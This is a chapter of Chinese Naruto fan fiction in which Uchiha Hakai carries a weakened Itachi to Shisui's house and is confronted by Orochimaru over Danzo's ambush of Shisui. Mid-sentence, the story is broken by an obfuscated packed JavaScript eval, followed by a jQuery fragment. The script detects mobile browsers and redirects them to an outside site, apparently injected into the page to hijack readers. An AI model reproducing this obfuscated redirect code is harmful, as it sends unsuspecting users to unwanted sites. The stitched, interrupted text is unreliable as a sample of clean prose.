宇智波羽怀扶着鼬,在原地站了几秒。
鼬的呼吸很轻,轻得几乎感知不到。他的头垂在羽怀肩上,黑色的碎发蹭着羽怀的脖颈,有些痒。
羽怀偏过头,试图看清鼬的脸。
月光不够亮,照不清太多细节。但他能看见鼬紧闭的眼睛,以及他紧抿的嘴唇。
“喂。”羽怀低声唤他,“鼬。”
没有回应。
羽怀腾出一只手,按在鼬的手腕上。脉搏还在跳动,节奏有些乱,但不算太弱。
他又检查了鼬的身体,没有明显的伤口,没有血迹渗出来,四肢也没有骨折的迹象。
检查的结果让他松了口气,但他很快又皱起眉来。
没有外伤,不代表没事。幻术也能让人昏迷,尤其是高强度的幻术,对精神的伤害比□□更严重。
无论如何,他得回去叫人。
羽怀抬起头,看向族长宅的方向。院门还开着,玄关的灯还亮着,美琴应该还在厨房收拾。只要他喊一声,或者把鼬背回去,一切就交给大人了。
他低下头,准备把鼬背起来。
就在这时,他感觉到肩上的重量动了一下。
鼬的手指抓住了他的衣襟。
很轻,轻得几乎感觉不到。就像是某种错觉一样。
“别……”鼬的声音从喉咙深处挤出来,沙哑得几乎听不清,“别回去……”
羽怀的动作顿住了。
他偏过头,看见鼬的眼睛睁开了一条缝。那双眼睛在月光下显得格外黑,黑得看不见底,里面有什么东西在晃动,像是即将熄灭的火苗。
“你醒了?”羽怀问,继续扶着对方,不让他摔倒。
鼬没有回答。他只是抓着羽怀的衣襟,用那种几乎听不见的声音重复:“别回去……我有话想对你说。”
这么几个字已经让鼬有些喘气,但能看得出来,他并不想回家。
羽怀愣了一下。
他侧头看着鼬的脸。那张脸比记忆中任何时刻都更加苍白和脆弱。
他从来没见过鼬这个样子。在佐助和他面前,鼬一直摆出一副可靠兄长的模样;在族人面前,鼬则是族长的长子,一名孤高的天才忍者;在止水面前,鼬有时候才会露出一些生动的表情。
不过这副模样确实是他第一次见。
但此刻,抓着他衣襟的这个人,看起来比佐助还要脆弱。
说起来,鼬今年也才十二岁了,正常来讲,现在才是从忍校毕业的年纪。
不过至少他现在的意识是清醒的,中幻术的可能性不大。
羽怀能感觉到,鼬抓着他衣襟的手指虽然无力,但动作是有意识的;他说话的声音虽然沙哑,但话语是有逻辑的。他不想回去,不想让妈妈和佐助看到自己这个样子。
至于他有话想和自己说……省省吧,先等他休息好,能把话说清楚再说吧。
羽怀叹了口气,想用手揉揉眉心,但为了不让鼬摔在地上,他还是忍住了。
自从他回村以来,事情一次次地出乎他的预料,并且变得越来越糟糕。
“你能自己走吗?”羽怀问。
鼬没有回答,但抓着他衣襟的手指又紧了一点。
羽怀叹了口气。
他环顾四周,观察情况。街道空荡荡的,没有人影,连猫狗都没有。远处的路灯投下昏黄的光,在石板路上画出一圈圈模糊的轮廓。夜风吹过,带起几片落叶,沙沙作响。
如果不回家的话,他就只能找别的地方安置鼬了。这里离村子比较远,走夜路不仅麻烦,而且不太安全。而他的通灵兽也只是只忍猫而已,根本驼不动鼬。他只能自己把人运走。
最近村里并不太平,如果大蛇丸突然冒出来,他背着鼬可打不过,甚至跑都有些难度。
不过他倒是有一个更好的选择。
他其实还有一个家,也就是止水家。那里现在大概没人,可以安置鼬。
而止水家离这里也不远,他也能运过去。
穿过两条街,再拐一个弯,就到了。
“我送你去止水哥家。”羽怀说,“你撑一下。”
鼬没有点头,也没有摇头,但身体却略微的抖了一下,似乎被一些名词刺激到了。羽怀感觉到他抓着自己衣襟的手指紧了一点,不知道是不是默许。
羽怀调整了一下姿势,把鼬的手臂搭在自己肩上,半扶半拖地往前走。鼬的腿还能动,但步伐虚浮,每一步都像是踩在棉花上。羽怀不得不放慢速度,配合他的节奏。
他最开始想背着鼬来着,但鼬并不是很配合,似乎背自己的弟弟背着什么的让他有些不好意思。
两人走得很慢,月光把两个人的影子拉得很长,交叠在一起,像两个蹒跚前行的老人。
现在族会已经结束,也有不少族人还没睡。
一路上,有些族人看到了兄弟俩,想来帮忙,但看到羽怀扶着的人是鼬后,就又犹豫了。
最后也只是尴尬的摸摸鼻子,假装没看到,随后就走开了。
对于鼬这次缺席族会,几乎所有的族人都不太满意。
止水家就在前面。
那是一座不大的宅院,和周围的宇智波族宅没什么两样,都是那种日式的建筑,木质的门扉,院子里种着一棵老枫树。
羽怀和止水的父母走后,这座宅子就只剩下他们兄弟两人住了。
羽怀将手伸进门边的花盆里摸索了一下,掏出了一把钥匙。
他推开院门,扶着鼬穿过庭院。树叶落了满地,踩上去沙沙作响。他走到卧室门口,拉开纸门,把鼬扶进去。
床上还铺着被褥,是上次他来这里小坐时铺的,一直没收。羽怀把鼬放倒在床上,替他脱掉鞋子,又扯过一旁的薄被盖在他身上。
鼬的眼睛已经闭上了,呼吸比刚才平稳了些。
羽怀站在床边,低头看他。
月光从窗外照进来,落在鼬的脸上。那两道血痕还挂在眼角,在月光下显得格外刺目。羽怀的目光从血痕移到鼬紧皱的眉头,再到他抿紧的嘴唇,最后落在他放在被子外的手上。
那只手的指甲缝里有泥土,手背上有几道细小的划痕,指关节泛着不正常的青白色,那是用力过度之后才会有的颜色。
他到底做了什么?
为什么没来族会,又为什么没有去暗部报到?
无论他是准备和止水哥一起阻止政变,还是说突然想起自己是宇智波一族族长的长子准备加入政变,他都应该会去参加族会才是。
现在将自己搞成这副模样,等族会结束后才一个人出现,在家门口的电线杆上摆造型……
那么止水呢?
羽怀的手指动了动,最终还是没有去碰那只手。
他转过身,准备离开。
原本大蛇丸的话他并不相信,但鼬把自己搞成这副模样……他也有些担心起来了。
大蛇丸和族里的事都先放一边吧,他有更重要的事要做。
他得先去找止水。
希望还来得及吧……
走出房间,来到客厅,推开屋门,来到院子。
然而,当羽怀的手刚碰到院门的时候,一道声音却是从他的身后传来。
“羽怀君这是要去哪里?”
那个声音从客厅传来,低沉而阴冷,带着一种黏腻的质感,像是蛇在黑暗中滑行。
羽怀的动作瞬间停住。
下一刻,他的身影消失不见。紫色的光芒一闪而逝,他眨眼间便出现在了不速之客的身前,长刀出鞘,刀刃抵住了对方的脖子。
来人正是木叶叛忍,大蛇丸。
院子里没有点灯,但月光从窗户外照进来,足够他看清对方的脸了。
大蛇丸站在院子中央,穿着一身灰色的和服,腰带松松垮垮地系着,露出苍白的锁骨。他的脸半隐在阴影中,只有那双蛇瞳在月光下泛着幽冷的光。
他就那样站着,像是早就等在这里。就算长刀已经架住了他的脖子,他也没有任何慌张的神色。
“你是怎么进来的?”羽怀问。
他的声音很平静,平静得连他自己都有些意外。
“门没锁。”大蛇丸的嘴角微微上扬,露出一个意味不明的笑容,“当然,我能进来和门有没有锁,没关系。”
“你想干什么?”羽怀问。
大蛇丸没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299236|198619||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有立刻回答。他的目光越过羽怀,穿过屋子的墙壁,落在他刚离开的卧室里,那里躺着昏迷的宇智波鼬。那双蛇瞳微微眯起,像是在打量什么有趣的猎物。
“鼬君也在?”大蛇丸的语气里带着一丝惊讶,但听起来更像是假装出来的惊讶,“这倒是个意外的收获。”
羽怀的身体往旁边挪了半步,挡住大蛇丸的视线。同时刀刃侧移,切进了对方的皮肉之中。
“我的耐心是有限的。”
虽然一直不愿意往这个方向去想,但羽怀并不蠢。几年的忍者生涯让他对情报足够的敏感。
当宇智波鼬一副憔悴的模样出现在他面前,并且还说有话要和他说的时候,他就已经猜到了。
止水大概是遭遇不测了。
其实,身为忍者,死在任务中是非常正常的。他哥哥止水也没什么特殊的。
但如果是被团藏偷袭的话,这样的结局他无法接受。
他需要大蛇丸的情报,关于团藏的情报。
三代和自来也还是太仁慈了,最多也就是将团藏关进木叶监狱罢了。
他想要亲自动手。
大蛇丸收回目光,重新看向羽怀。
他的嘴角依然挂着那种若有若无的笑容,但那双蛇瞳里没有任何笑意。
“羽怀君。”他开口了,声音低沉而缓慢,“除了我,你别无选择。”
羽怀没有回应。
他的手依然握在刀柄上。
“如果你和自来也都能早几天到木叶,那么一切都会变得不一样。但是现在,团藏已经通过偷袭重伤了宇智波止水,并且夺走了他的一只眼睛。”
大蛇丸伸手试图将抵在抵住自己要害的刀刃移开,但宇智波羽怀眼中的三勾玉让他停下了动作。
“如果你不信,可以让鼬起来和你解释,或者说,以你的聪明才智,见到鼬这副模样应该就已经猜得七七八八了吧?”
“我为什么要信你一个叛忍的话?”
“你可以相信三代,相信自来也,你一直以来也都是这么做的。但选择相信别人,同样也是需要承担后果的。不知道这样的后果你能接受吗?”
他抬起手,指了指羽怀身后的卧室,又指了指窗外,那个方向是族长宅,也可以是整个木叶。
“宇智波止水下落不明。”他一字一句地说,“宇智波鼬昏迷不醒。宇智波一族的族长,此刻正在火影大楼,和已经准备好了的且拥有止水万花筒写轮眼的志村团藏谈条件。”
羽怀的手指收紧了。
刀柄传来冰凉的触感,让他的心稍微安定了一些。
“你想说什么?”
“我想说,羽怀君,在日斩和自来也的调节下,也许宇智波一族能和村子谈下去,但如果代价是你的兄长的话,这样的结局你可以接受吗?”
大蛇丸向前走了一步,刀刃在他的皮肉中切割,但没有阻拦他行动分毫。
“我们的时间并不充裕,暗部一直盯着你们的族地,我的出现很快就会被他们发现。”
羽怀没有退,但他的身体绷得更紧了。
他眼中的勾玉快速旋转,阴属性查克拉汇聚在眼球之中。
勾玉的图案开始连结,最后形成了一副风车的图案,但很快又消失不见了。
大蛇丸停在那一步的距离,没有再靠近。他就那样站着,居高临下地看着羽怀,与成年人相比,他的身高着实有些不够看。
根据先前他在火影大楼得到的情报,止水的计划就是用别天神将族会中的主战派控制住。
当然,这与止水的真实计划可能有一些出入,但大致内容应该是真实的。
假如大蛇丸说的是真的,那么先前团藏在火影大楼挑衅自己的底气就有了解释。
在没有相关情报的情况下,他觉得自己肯定会中招。
当然,给自己用对团藏而言可能才是下策,他真正想要使用的对象应该是三代火影才对。
不过这些现在并不是最重要的。他从大蛇丸的前后话语中听到了一丝变化。
很关键的变化。
“你之前不是还说止水已经死了吗?怎么现在又变成下落不明了?”